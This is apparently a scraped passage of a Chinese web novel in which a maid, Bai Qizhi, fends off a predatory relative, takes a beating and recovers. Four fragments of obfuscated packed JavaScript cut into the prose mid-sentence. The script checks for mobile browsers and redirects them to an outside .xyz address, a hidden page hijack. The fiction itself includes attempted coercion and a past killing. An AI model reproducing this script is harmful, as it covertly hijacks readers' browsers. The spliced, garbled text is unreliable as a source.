RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823665|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定就算自己对她做什么，她也反抗不了，由是就跟条闻着肉味儿的狗一样紧紧跟了上来。 白栖枝低头走着，就撞上一堵墙一样的东西，只不过这堵墙实在是太过柔软，将她弹开两步后才让她跌在地上。 “对不住，我……” 白栖枝抬头，就对上林兴朝那双色-眯-眯的眯缝眼。 “哎呀白姑娘真是巧，你不是说要同春花一起去查账本么？怎么查着查着就查到本公子怀里了呀？” 林兴朝说着，就要伸手来摸白栖枝，吓得白栖枝赶紧站起来，垂头后退两步，佯装镇定道：“本是要去账房的，可刚才有个姐姐说要叫我前去照看沈公子，我这才……” 林兴朝是知道这林府中有“沈忘尘”这么一号人物的。 沈忘尘，说好听的那人能被人称上一句“沈公子”，说不好听的，那人不就是个残废么！被沈家赶出来就委身于堂兄给他当男宠，忒不要脸面！ 况且男宠嘛，也就那么回事儿，跟青-楼里的小倌们一个样，娘们唧唧的，也不知道是使了什么下作手段将堂兄的魂儿都给勾没了——要他说堂兄什么就好，可败就败在这么个人手上，被个残废迷得不要不要的，估计以后也不能有什么大出息，林家在他手上就是败坏，倒不如都交给他…… 想着，林兴朝脸上露出不耐烦之意，唾弃道：“害，他一个残废有什么好看的，难不成还有本公子更风-流倜傥、怜香惜玉？” 说道后半段，他如苍蝇搓手般搓着自己那双肥大臃肿的手，一步步地朝白栖枝逼近道：“白姑娘长得可真漂亮，这皮肤嫩的，啧啧啧……要我说你在堂兄手里当个小丫鬟实在是可惜了，不如来我府上做我的同房丫鬟！要知道本公子就喜欢你这幅娇-滴-滴的怜人儿样，等你到了我床上，我必定对你多加怜惜，定不会叫你寂寞难耐、玉殒香消……” 林兴朝说着，就伸手往白栖枝身上一扑，好在白栖枝早就在逃亡时练出了极快的反应，见他身形动时便急急躲开。 林兴朝没抓到不说，反倒一个狗吃屎扎在下人们刚扫好不久的雪堆里，连带着旁边的梧桐树都被他震得一抖，细弱的树枝受不住，簌簌掉下几层雪来。 这倒是给了白栖枝反应时间。 她赶紧跳开老远，欠身一礼道：“对不住林少爷，沈公子找我真的有事，我先去了，您……多加珍重。”说完便急匆匆地跑开，生怕他再朝她扑来。 好久，林兴朝才把头从雪堆里拔-出-来。 他脸都冻紫了，眉毛头发上都是白的，更衬得他那张猪脸越发狰狞起来。 装什么？他恨恨想到，这世上有多少人想爬上本少爷的床本少爷都不肯，如今给你脸你反倒不要，等我抓到你，看我怎么玩弄你！ “呸！臭婊-子，你不从我，就去找我堂哥要你去！你一个卑贱的臭丫鬟，我就不信堂哥不肯给！！！” 想着他恨得咬牙切齿，拍了拍身上的雪，转头直奔厅堂而去。 31. 为难 沈忘尘今日难得躲个清闲。 但，好像有点清闲过头了，少了拌嘴的那两人，总觉得身边缺点什么，就连看书都看得有些乏味，昏沉沉地就要睡去了。 “笃笃笃。”房门传来三声响。 这时候又有谁会来呢？ 心中纳闷，沈忘尘开口问道：“什么事？” “沈哥哥”门外传来细弱的声音，“能不能……能不能让我进去待一会儿？” 沈忘尘心中纳罕，但既知是白栖枝，那便也没什么好担心的，微笑道：“进。” 白栖枝进了门，心霎时间安稳了一大半，剩下一大半还被刚才林兴朝那番吓得颤悠悠的，久久缓不过来。 “枝枝啊，过来。”沈忘尘将书本合好放在一旁，朝她招了招手。 白栖枝柔柔顺顺地垂首走了过去。 她白着一张小脸，就算沈忘尘再迟顿也发觉不对劲了，温声问道：“枝枝怎么看起来心神不宁的？是发生了什么事吗？” 白栖枝刚要张口回答，却发觉这事儿说出来只能叫他平白心烦，便闭紧一张小嘴，摇摇头，装作什么事都没发生过。 沈忘尘不逼她开口，他的手软软拍了拍床榻空处：“坐。” 白栖枝乖乖坐了过去。 两人如今也是熟络起来，加上亦师徒亦兄妹，举止也不再需要循着寻常男女礼数，越发亲昵起来。 沈忘尘拢过白栖枝一双小手，发觉她手极凉，默默在手中温着。 这还是白栖枝第一次碰沈忘尘的手，说不惊慌是假的，可那一双手实在是柔软温热，像她娘亲的手一样，只这么一搭，好些事都没了烦恼。 沈忘尘依旧是一副笑脸：“今儿是初一，外头正热闹，怎么想着来找沈哥哥了？还是枝枝在外头受了委屈，来想沈哥哥这里待一待？” 他说得大差不差，加上语气实在是温和，白栖枝原本是不委屈的，听他这话，心头反倒涌上了一股委屈。 只是她刚想同沈忘尘说，后者便偏过头去引出一串有气无力的咳嗽，搞得她心尖儿都跟着一悚一悚地跟着跳了起来。 也就是这时他才发现沈忘尘原本绯红的唇瓣如今正泛着白，俊俏的脸上满是病恹恹的神色，一看便是昨日陪她看烟花时受了风，隐约地着了风寒了。 白栖枝心头有股说不出的愧疚感。 她是个聪明的，不会看不出昨天晚上是沈忘尘见她眼巴巴看着外头瞧她可怜，才硬要林听澜推着他出去看烟火的，他身体本就不好，又受了风，这才…… 这下纵然有天大的委屈白栖枝也不敢同沈忘尘说了。 她自己受着，待沈忘尘回头时又勉强撑起一副笑面道：“没事的，枝枝就是看沈哥哥一个人待在屋子里头，怕沈哥哥一个人寂寞，这才想着来看看沈哥哥的。”她说着，狠下心来将手从沈忘尘手中抽出，握着他有些凉的左手放回被子里道，“不过既然沈哥哥没事，那枝枝也不过多打扰啦，沈哥哥好好休息，等枝枝忙完再来看沈哥哥。” 说完，又用自己绒毛未褪的小脸蛋又蹭了蹭他右手掌心，将它稳稳放在沈忘尘小腹上，这才起身欠身离开。 寂寞吗？ 沈忘尘看着白栖枝匆匆离开的瘦小背影，思忖了片刻后，微微一笑。 好像是会有点…… 还好他早就习惯一个人待着了，不然一个人孤零零地躺在这里，确实会很寂寞啊…… * 白栖枝是和众人一起来到厅堂里的。 她刚从沈忘尘屋里走出来没多久，就见着芍药姐姐领着几位姐姐往厅堂里走，细问之下才知道是林听澜把府内方才在灶房里忙活的丫鬟们都叫到厅堂里去。 怕是出了什么问题，白栖枝想了想，也跟着她们一起去了。 还没进来，就瞧见了林兴朝那张猥琐狠辣的脸，吓得她赶紧往旁边姐姐的怀里缩了缩，跟着大家一起往厅堂里迈。 “就是她！”甫一进来，林兴朝就跟吃了炮仗似得一蹦三尺高。 他大步来到白栖枝身边，掐着她的胳膊把她从人群里揪了出来，朝林听澜道：“堂哥，我就要她！” 胳膊好痛…… 白栖枝被掐出了泪花花。 她一抬头，就看见林听澜那张略显震惊的脸。 说是震惊，其实与寻常无异，只是她跟着他待的时间多了，这才从他佯装镇定的脸上瞧出一点端倪来。 林听澜回过神，语气微冷道：“你当真是要她？” 林兴朝是个没长耳朵的，听不出他这话里的不悦，信誓旦旦道：“堂哥，她长得好看，我就要她给我当妾室！我就要她给我当填房！” 填房。 林兴朝年纪虽不大，但也是有过娘子的——但那人也说不上是娘子，是他一时兴起从青楼里赎出来的花魁，非要拧着家中长辈的意愿娶她做媳妇儿。浑玉县林家就他这么一个嫡亲的孙子，他就是天他就是地，就连他随口胡说的一句话对家里来说都堪比圣旨，他祖父又极疼他这个宝贝孙子，也就由着他闹了，谁承想成亲没几日他就将那位花魁给玩死了，害的府里人又得想办法帮他埋尸，又得想办法帮他善后，这才在官府眼皮子底下躲过一劫。 如今他又看中了白栖枝，也是一副非她不可的模样，想来白栖枝的下场也会跟那位花魁差不多吧？ 听出林听澜语气中的不悦，一旁的长老的脸瞬间拉了下来。 “澜儿啊。”他道，“你府上丫鬟众多，既然兴儿难得对她满意，你便给他就是了。若是你怕府上缺人手，大不了老夫再从府里挑个送你就是，不过你家大业大，也不会不舍得这么一个小丫鬟吧？” 这口气哪里像是要人？分明就是借着自己长辈的名义明着抢人！ 林听澜哪里会听不出，不过在场这么多远戚里都是那位长老的人，他不好撕破脸，只能换了语气好生道：“七叔公，这人毕竟是我的贴身丫鬟，若是送与堂弟，怕是名声不太好。这样，便让堂弟在这堆丫鬟里再选一个，无论是谁， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832319|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我都立马送与堂弟，绝不反悔。” 他这已是好话，奈何林兴朝非只看中白栖枝一个，其余无论是神仙还是娘娘都再入不得他的眼。 见林听澜不想给他，他登时便闹起了脾气，大声道：“不行！我就要她！我就要她！堂哥，咱们好歹是一家人，又是大过年的，你可不能为了这么个丫头扫咱们全族人的兴啊！这样你不就成了咱们全林家的罪人了么！！！” 他这分明是仗着身后有长辈撑腰，在这大庭广众之下胡搅蛮缠，明晃晃地威胁林听澜！ 林听澜面色铁青。 这时一旁的林家长老又道：“澜儿啊，你看，兴儿就喜欢这个小丫鬟，你又何必为了她伤了家里人的和气呢？更何况你不是还有个翰林之女做夫人么？又何必苦苦找这么个黄毛丫头做填房丫鬟？这不是贬低了人家千金小姐的身份么！要我说啊，你呢，今日就给我老爷子一个面子，由我做一回主，这丫鬟啊——”他猛地用拐杖敲了下地砖，“就拿去给兴儿做填房吧！” 这下子可坏了！ 白栖枝内心悚然：她今日是非得给林兴朝做填房不可了！ 她急急看向林听澜，林听澜也是一脸沉色。 他也在想办法！ 他虽对白栖枝无感，但这人好歹是她看着长大的，又曾与他有过婚约，无论如何他都不能让林兴朝把人带走，不然他林听澜的面子往哪搁？！可若不给，今日这堆人肯定誓不罢休，到时候撕破了脸皮，这堆人指不定要闹出什么幺蛾子的！ 白栖枝不知道这些人的厉害，但他可是亲眼瞧见过的，那时候他十岁，这些人摆出一副无赖模样，什么都不做，伸手就要朝他阿父要接济。他阿父自然是不肯，说要接济可以，但需得他们来铺子里做工，否则他不会出一分钱。 就这么简简单单的一句话霎时就招来了他们的记恨—— 他们先是拿祖宗长辈的身份来压阿父，无果，又朝他们吐口水，甚至到大街上躺着大哭，说阿父是不忠不孝不义之人，甚至还拿阿父的身世造谣，说他是祖母不知道跑哪生下来的野种，并不是林家人多年来却吃林家的喝林家的，太难看！ 就因为他们这么一闹，阿父的生意几乎做不下去，甚至所有人都躲着阿父，背地里戳他脊梁骨骂他，对家也趁机落井下石，几乎要将他们逼得山穷水尽！ 若不是阿父有大智慧，他们家恐怕就要一蹶不振了！ 如今事情换了个模样又重新出现在他眼前，这叫他该如何是好？！ 见林听澜一直沉默，白栖枝便知道他靠不住了。 她知道他难做，所以此事便更不能由他来做。 但这事儿实在是难，既不能让林听澜下不来台，又不能暴露自己是林听澜娃娃妻这件事，更不能让他们知道她就是他们口中那位翰林之女！ 无数思绪在白栖枝脑海中盘旋，就在她想得几欲晕厥之际，电光石火间，一个想法忽地在她脑中闪过—— 便也只能这样搏一把了！！！ 32. 受罚 正当林听澜困窘之际，就见着白栖枝的眼泪哩哩啦啦地往下掉。 她开口似是说了些什么。 林听澜没有听清。 林长老恨恨地用拐杖锤了下地面，怒斥道：“你说什么？！” “我说我不要！” 一句话，宛若银屏查破，水浆崩裂，震彻整个厅堂。 众人的目光齐齐朝白栖枝看去，后者眼泪小溪似得往下淌，梨花带雨，好不可怜。 白栖枝目含怒火，抬手拔下自己头上的发簪。 “别！” 林听澜以为她要想不开，刚做了个口型，说时迟那时快，只见白栖枝擎着簪子刺在林兴朝咽喉处的皮肤上，竟是挟持了他！ 林兴朝本就是个矮脚虎，白栖枝踮脚抬手就能戳到他的喉咙。 发簪没有开刃，可是钝刀杀人才疼。 眼见着那簪子一寸寸往自己喉骨里戳，饶是天不怕地不怕的土霸王林兴朝此时也不得不生出惧意来。 他喉骨上下一滚狠狠吞了口口水，两股战战，哆嗦着，撑笑柔声道：“枝枝妹妹，有什么话我们好好说，你这样挟持哥哥我，又有什么用呢？” “我不要！”白栖枝大声道。 她的眼泪一颗颗砸下来，说出的话却是质地有声。 白栖枝看向那边气息不稳的林长老，拼死忍住喉间哽咽，一字一句道：“林长老，我这条命可是大爷救的，我生是大爷的人死是大爷的鬼，你想要我做林兴朝的媳妇，好啊，那就让他和我的尸体成亲去吧！成亲的时候，我劝你们备好桃木剑、镇魂钉、朱砂、符纸、五帝钱，不然别说这辈子、下辈子，我生生世世，就算变成鬼也不会放过你们！” 她的眼里生出浓烈的恨意，这狠劲儿看得饶是林听澜也忍不住心惊——这丫头何时竟心狠至如此？ 直到白栖枝偷偷朝他递了个眼神儿，他才意识到这一切原来都是她装的。 一切都是为了应付他这些难缠的远戚！ 林听澜立即心领神会，不可见地点了下头，凛色怒目道：“混账！我堂弟也是你一个下贱丫头能挟持的？还不快给我放开！” “大爷……” “放开！！！” 这一声宛若雷霆乍惊，众人纷纷看向这位年轻的林家大爷。 他年纪尚轻，却已有了一身家主的威严，站在那里不怒自威，竟生生地高出了他们这些长老长辈一头，令他们不敢小觑。 林听澜浑身散发着凌冽的气息，叫人望而生畏。 白栖枝身体蓦地狠狠一抖，簪子跌落手头。 “啪！” 重重不只是发簪，还有白栖枝的膝盖。 “大爷……”她伏在地上，低声哽咽，泪水落地，竟洇湿了大片氍毹。 眼见性命无虞，林兴朝立马窜到林听澜身边，指着白栖枝颐指气使道：“好你个小贱婢！竟敢挟持本公子！堂哥，这小贱婢都欺负到咱们林家头上了，你可要为家中做主啊！” 他一开口，恶臭扑鼻，林听澜忍不住皱了皱眉头。 林听澜冷声道：“拖下去！二十大板！” “二十大板？”林兴朝仿佛听到了什么天大的笑话似的，中气十足道，“堂哥，她可是要要你堂弟的命啊！此等罪孽，难道区区二十大板就能作罢么？！” 一旁的林长老见状也大声道：“澜儿啊，兴儿可是七叔公的宝贝命根子，他刚才被这贱婢挟持，差点九死一生，也差点要了老夫的命啊！依我说，二十大板不足以抵消这贱婢的罪行，至少——”他竖起四个枯瘦的手指道，“至少四十大板！” 四十大板？这不是要人命么！！！ 林听澜本没想着打白栖枝板子，方才那话不过是为了平息众怒随口说的，寻思找个人把白栖枝拉下去做做假也就算了，谁知他们欺人太甚，居然要把白栖枝往死里逼！ 林听澜一直忍而不发，这时候也终是要忍不下去，他开口道—— “我甘愿受罚！”清脆的声音于厅堂内回响。 她这是要做什么！林听澜气极反笑，他看向白栖枝，却被白栖枝的神色唬住，愠气下脑，竟渐渐生出几分冷静来。 白栖枝仍流着泪，一双眸子却似霜雪般镇静清醒。 “我甘愿受罚。”她转头，看向林长老高声道，“只是我大昭律法有云：若主因奴有罪而殴杀之，即奴有愆犯而被戮，主当受杖责一百。今日你若打死我，那大爷也要受罚，到时候大爷一倒，林家还有谁能当家？难不成要靠你这宝贝孙儿么？！” 林长老道：“休得胡言，你这贱婢……” “好了，七叔公。”林听澜缓缓道，“她说得不错，林府打死了人，这罪责谁来担？” 一句话，噎得林长老喘不上来气。 这口气上不来，下不去，憋的他面色紫青，可他偏无法还嘴。 这是血淋淋的事实：如今能在林氏商铺当家做主者非林听澜也！他们这些人，别说对行商一窍不通，若这些担子真当落到他们身上，恐怕早就吓得屁滚尿流、闭门不出了，又怎么敢同去其他商户谈生意呢？ 更何况林兴朝做的那些事儿大家都有目共睹，若是林家偌大的家产都押在他一人身上，恐怕不过三日林家就得被他败得彻底，他不想过好日子他们还想过呢！ 少来挡他们财路！ 一旦牵扯到自身利益，大家一个个地也都跳出来说道说道： “哎呀七叔公，不过是一个小丫头，何故让您生如此大的气呢？” “就是就是，这么一个小贱婢，罚罚也就得了，真要打死了他，咱们林家还得吃官司，何必呢？” “若是澜儿受了刑，那咱林家岂不是面上无光？到时候谁又敢来做咱林家的生意呢？要我看这小丫头罚罚便罢了，就算是为了咱林家，您老太爷也网开一面，别斤斤计较了。” 眼看锋尖儿指向了自己，林长老就算是再气，此刻在众人的暗逼下也不得不收敛起来，和善了语气同林听澜道：“就按澜儿说得，二十大板就二十大板吧，不过！”他话锋一转，捋着花白的胡子道，“这二十大板必须在我老爷子眼皮底下打，不然难出我老爷子这口恶气啊。” 林听澜喉中艰涩。 他还想再同众人讨价还价，却听跪在厅堂内的白栖枝蓦地磕了个响的。 “栖枝，谢大爷成全！” * 这二十大板是白栖枝自愿挨的。 封天暮雪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841512|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 众人以林听澜为中心在檐下排成一排，看着下人们拖来长凳和板子，明晃晃摆到他们面前。 一旁的白栖枝衣衫单薄。 她站在雪里，白了头，听得一声“请吧”，竟脱下外衣拧着咬在嘴里，朝长凳上趴去。 “啪！”“啪！”“啪！” 按理说这板子是要打在腰椎上的，可这么打下去，白小姐不死也残。 这些个奴仆都是精明的，知道她与林听澜、沈忘尘如今交情匪浅，都不敢下死手，一下下打在她屁股上，声音大雨点小，打得并不致命。 可哪怕不致命，也够从小娇生惯养的白栖枝喝一壶的了。 白栖枝死咬着衣裳，双眼便像漏了底的水桶，泪水放纵地朝外淌，口齿中渐渐溢出血来。 她是自愿挨这二十大板的—— 她早就知道求人垂怜庇护本就是无解之解，可她偏信了，她竟真的信除家人之外能有人庇护她令她免受苦楚 她竟真的信了！ 现如今，她流出的泪已经不是泪了，是她脑子里陷进去的水。 她早该知道的，这世上除了自己，谁都帮不得她，这二十大板，打的就是她不长记性，打的就是她轻信他人，打的就是她自作聪明！ 除了这个，她也要打给林听澜看。 那人一直自诩高她一等，自以为能护住一个人于他来说易如反掌，从小小事上未必见得，如今遇上大事他便是一句话都说不出了。 如今她偏要他看着，她要他知道他们是一样的，他们弱小、无助、如同困兽犹斗，除了自己谁都保护不住！ 他连她都不护不得，又如何护得了沈哥哥呢？ 莫要自作聪明…… 板子一下下落在屁股上，开始是火辣辣的痛，到后来也不知是麻木了还是血肉都被冻住了，她竟也不觉得疼了。 二十大板结束，她竟还能摇摇晃晃地撑着身子站起来。 她是知道自己能生生受住的——她阿娘当年就能受得住，她又凭什么受不住？她身上流着她阿娘的血，她阿娘能做到的事她同样能做到，她不是阿娘的败笔！ 更何况—— 更何况从长平到淮安，她这一路上挨的打受的累还少么？被人踩在地上蹂躏的时候，被人掐着脖子抵在土墙上的时候，被人用刀戳进肩头的时候，她不也好好地活下来了么？如今不过是二十大板，她怎么就受不住了？她怎么就受不住了！ 自家破人亡之后，昔日白翰林之女白栖枝便再不是当年那个柔柔弱弱、经不起雨雪风霜的小女娘了，她跋山涉水，经历过太多太多，她不是娇花，是野草，是“野火烧不尽，春风吹又生”的野草，是哪怕被斩断躯干也能生生不息的野草。 她怎么就受不住了？！ 白栖枝唾掉口中浸了血的外衣，跪在地上，五体投地，血从身上流下，化了雪，竟晕开一圈血水来。 “栖枝，谢大爷垂怜。” 说罢，她身子一软，竟晕死在雪地里，吓得林听澜赶紧叫人将她抬回房里。 一场闹剧就这样草草结束。 白栖枝醒来时，天已经落黑了。 林听澜就站在她身旁，正怔怔地看着她。 …… 33. 看望 林听澜原本在看白栖枝身上的伤出神，见她醒来，一时没缓过神，待白栖枝笑眯眯地朝她看，他才别扭地撇过头去。 伤口凉凉地痛，白栖枝登时疼出泪来。 她不留痕迹地倒吸了口冷气，白着一张团乎乎的小脸，撑着笑，勉强打趣道：“林哥哥，不会是你给我上的药吧？你这样，可对不起沈哥哥呀。” 见她还有力气笑闹，林听澜转回头来，眼底红红的，竟是哭过。 这下换白栖枝愣神了。 但她只愣了一秒，脸上的讶异就慢慢转换成温润的笑，细看之下眉眼间的和煦竟和沈忘尘有异曲同工之妙。 “你是不是傻？”虽是斥责，林听澜的语气却难得地柔软下来。 他看着她，心疼道：“打你两下你装晕不就好了，他们又不会深究，为什么非要硬生生受着，你要是真！” 年还没过完呢，那个字不能说。 林听澜及时止住，半晌，深吸了口气，生硬道：“你要是在我府里出了什么事，我如何对得起白伯父伯母？” 白栖枝同他玩笑：“那你从前就对得起啦？” “你！”一口气哽在喉头，林听澜再说不出来。 “好啦好啦，我开玩笑的。” 说完，白栖枝吸了吸哭得通红的鼻尖，眼睫垂下，甚至能看到眼底一层抖动的青灰色阴影。 “身上好痛喔——沈哥哥不知道这件事吧？” “忘尘他，”林听澜顿了一下，“忘尘他自是不知道，他要是知道你被打成这样，非得发病不可。” 其实已经发过了。 这林府上下，哪里又能瞒过沈忘尘的？就连林听澜有事也不敢瞒着他。 由是，这事儿刚结束没多久，风就吹到沈忘尘耳朵里了，气得沈忘尘登时发了病，等他醒来，就非要林听澜去守着白栖枝，后者自然是要守的，却又放心不下前者，等一切安排妥当才匆匆来迟。 林听澜心底是愧疚的，但他又不知道该如何弥补，或者又不好意思拉下脸来道歉，只哽在这里，不好开口。 “方才你问我受的受不住是吧？”白栖枝知道他心里别扭，转而换了话题，“说起这个，我娘当年还是孤女的时候就伤过人被官府打过二十大板，既然我娘能受得，我又怎么会受不得？你太小看我了。” 林听澜有些惊讶：“白伯母怎么会？” 在他眼里，白伯母一直是文文弱弱、温温柔柔的妇道人家，性子如水一般抓不住堆又散，又怎么可能是白栖枝说得这样？ “是吧？我一开始也想不到我娘居然这么厉害！但我娘就是这么厉害！作为她的女儿，我自然不能落后啦！哼哼~” 说到这儿，白栖枝骄傲地笑了笑，一笑，身子就颤，一颤，就牵扯到伤口，痛得她倒吸一口冷气，不敢再动。 林听澜看在眼里疼在心里。 不过想起此前白栖枝的所作所为，他忽地又觉得像白栖枝这样的小姑娘，比起被困在院子里，更适合出去闯荡。 她够倔、够勇敢、够决绝。 这样的人不只、也肯定不甘只在府里做一只被保护的柔柔弱弱的小白花。 也就是在此时，林听澜终于明白白栖枝此前为何总是三番四次地跑出林府，她不是想和他对着干——或许是，但她更想要证明自己不只是个要依附夫家而活的小女娘，她可以自己做许多事，她就算身无分文，仅凭着自己野草般的意志，其实也可以活得很好。 “怎么啦？怎么看着我不说话？”白栖枝觉得气氛有些沉寂，怕林听澜心情过于沉重，又开玩笑道，“你是不是在想：哎呀，这个臭丫头怎么这么倔这么傻啊，一点讨巧的事都不会做，长大了肯定是要讨人嫌，我一定要……” “不。”林听澜打断了她，看着她那双黑曜石般明亮的瞳仁，温声道，“我在想，忘尘说让你去铺子里好好闯荡闯荡，是对的。你不适合在府里做不谙世事的大小姐，你适合到外面去看、去闯，你需要谁都困不住你的资本来撑着你闯荡。” 白栖枝：“……” 干嘛啦！干嘛说的这么戳人心窝窝，搞得她都要哭出来了！ 好吧，她好像因为太痛，眼泪就没有停过。 白栖枝抬手要去擦眼泪，却被林听澜抬手制止：“别动，又该扯到伤口了。” 他从怀中掏出帕子，为她蘸干净脸上的泪痕，缓缓将哽在心头的那口气呼出，转身。 “等你伤好，便搬到西厢房去住吧，这儿太冷了……” 说完，举步便走，不给白栖枝半点说话的机会。 白栖枝看着他的背影一点点淡出视线，笑了。 什么嘛，嘴硬心软，心疼就直说啊，干嘛一直憋着不说话？ 果然娘亲说的是对的，男孩子嘛，无论长到多大心里都住着个小孩子—— 没准林听澜心里的小孩子还没她大呢！ 夜中寒凉。 林听澜再回到沈忘尘的别院中时，后者已经和好得差不多了。 “好些了么？” “好些了。” 林听澜看着他微微笑道：“还好忘尘你没去，不然见到她身上的伤，肯定得心疼地掉眼泪，毕竟是你的宝贝徒弟……” 沈忘尘轻轻道：“林兴朝。” 蓦地从他嘴里听见这三个字，林听澜就知道，沈忘尘已经有些起杀心了。 “忘尘你听我说。”他坐到床旁，握着沈忘尘道，“林家现在还不能散，我掌家不久，有些人我还不能动，不过我保证，待家中稳定、族中权势皆入我手时，我定要他们求生不得求死不能。” 沈忘尘抬眸看向他，温和笑道：“那是什么时候呢？” “……”林听澜气息一窒。 “你还是没有长大……”沈忘尘轻声叹着，合了眼，“我有些乏了，要睡了，你要留下么？” 留得不留得？看这样，自然是留不得。 不待林听澜起身离去，他的手被沈忘尘轻轻握了一下。 “还是留下吧。”沈忘尘道，“天冷，我畏寒。” * 宋长宴是拎着一大堆小零嘴高高兴兴敲开林府的门的。 今日阿父放他出来玩，他本想来找白栖枝给她送点淮安有名的零嘴蜜饯，不过林家家大业大，那些好东西她应该已经吃过了，便从他最心仪的几个名不经传的小铺子里买了些白栖枝应该会喜欢的糕饼蜜饯，打算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849671|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来找白栖枝玩。 门开，是一个陌生小厮，听罢他的来意，又匆匆去禀告林听澜。 毕竟是官家子弟，不多时，林听澜便来相迎。 “什么？枝枝姑娘病了？那她好些了么？” 听到白栖枝生了重病，宋长宴原本亮晶晶的狗狗眼一下子暗淡起来，转身就走。 林听澜当他失落至极，便也没有拦着，哪成想不过多时…… “请问林老板，我现在可以去看枝枝姑娘了么？”宋长宴乖乖拎着药，一双狗狗眼可怜巴巴地盯着他看，几乎要沁出水来。 林听澜终于知道为什么白栖枝能和他玩到一起去了。 两个爱哭鬼。 “栖枝现在在西厢房内休养，阿福，带宋二公子去见栖枝吧。” 甫一见到白栖枝身上的伤，宋长宴当即哭了出来，但他自持是个男子汉又被枝枝称过一声“宋哥哥”，便赶紧抹了泪，幼稚地安慰道：“枝枝姑娘你不要痛，我给你买了药，这就让你家中下人去煮，你……呜呜呜……” 宋长宴一个没憋住，哭出声来。 两人交谈许久，得知白栖枝这一身伤是因为被一个叫林兴朝的恶霸流氓欺辱才落下来的，宋长宴气得朝空气挥舞了好几下拳脚，待停下后还是气不过，又狠狠地跺了两下脚，拍着胸脯信誓旦旦道： “枝枝姑娘放心吧，宋哥哥不会让你白受委屈的！” 白栖枝狠狠吞了口口水：“宋哥哥，你可不要做傻事啊！” 宋长宴很是自信：“放心吧，你宋哥哥我很有分寸的，定不会做什么出格的事！” 次日，林兴朝正走在大街上，就被人套了麻袋拐到不知名的街角处。 “各位大爷，不知我犯了什么罪，何必如此对我？我堂哥有钱，若你们放了我，我堂哥必有重赏！” “忒！谁管你什么堂哥表哥的？你惹了官家的公子哥儿，爷们儿几个是替公子办事的！给我打！！！” 雨点般的拳头落下，林兴朝在地上抱头乱滚，哭爹喊娘地求饶道：“大爷饶命啊！我真的不认识什么官家的公子哥儿，大爷是不是找错人了？” “找错人？这十里八乡的除了你还有谁叫林兴朝？还认错了人……兄弟们，给我往死里打！” 一阵惨叫声响彻云霄，林兴朝连哼都来不及哼一声，便晕死过去。 身下，黄黄的水渍晕开，竟是怕得尿了裤子。 为首的人嫌弃地捏了鼻子，咒骂道：“狗娘养的，真他娘的晦气！呸！哥儿几个，我们走，明儿还来找他消遣消遣！” 由是，从初二到初五，总有人变着花样地来找林兴朝狠狠消遣，吓得他遇到这帮人时都不知道该先抱着上面还是该先捂住后面，皆连着被消遣了四日，饶是钢铁一样的爷们儿也经不住了。 不敢再在淮安待下去，林兴朝早早地逃回了老家，从此再没往淮安踏过一步。 当然，这些事白栖枝都不知情—— 因为她开始要忙着当林记胭脂铺的小掌柜啦！ 就这样，在淮安林家小名鼎鼎的白栖枝白老板，终于即将迈出她此生经商论道的第一步—— 学会揽客。 …… 34. 东家 白栖枝也不知道自己该不该倒吸一口冷气—— 眼前小店破旧，店内斜斜倚着两个女子，正站在柜台处摆弄涂满蔻丹的指甲，不多时，又从后头走出一个老伯来，一副低眉顺眼的憨厚老实样，与整个店铺格格不入。 “白小姐，这里就是香玉坊了。”随行仆从朝她笑眯眯地介绍完，正色朝三人道，“即日起，白小姐就是这香玉坊的新东家，你们几个——莫当是他人呢？！” 身着合欢红衣裙，倚在柜台上的女子听闻，眼皮也不抬，懒散道：“还能去哪？百花楼呗。” 仆从道：“赶紧去把他叫回来！” 女子道：“他啊，估计现在已经烂醉在姑娘堆儿里了，叫不会的。”说完，又朝白栖枝瞥了一眼，“你说她是香玉坊的新东家？呵，瞧她这小样，毛都没长齐呢吧？也配来管我们几个？大爷他是昏了头吧？” 仆从怒道：“放肆！你！” “放肆什么啊。”那女子瞥了他一眼，讽刺道，“谁不知道我们这香玉坊早就被他给弃了，先前是为那几个青楼里的姑娘家，后又是那什么沈忘尘，现在又来了这么个黄毛小丫头？怎么，大爷他换口味了？也想尝尝这豆蔻梢头，春闺一梦的滋味了？” 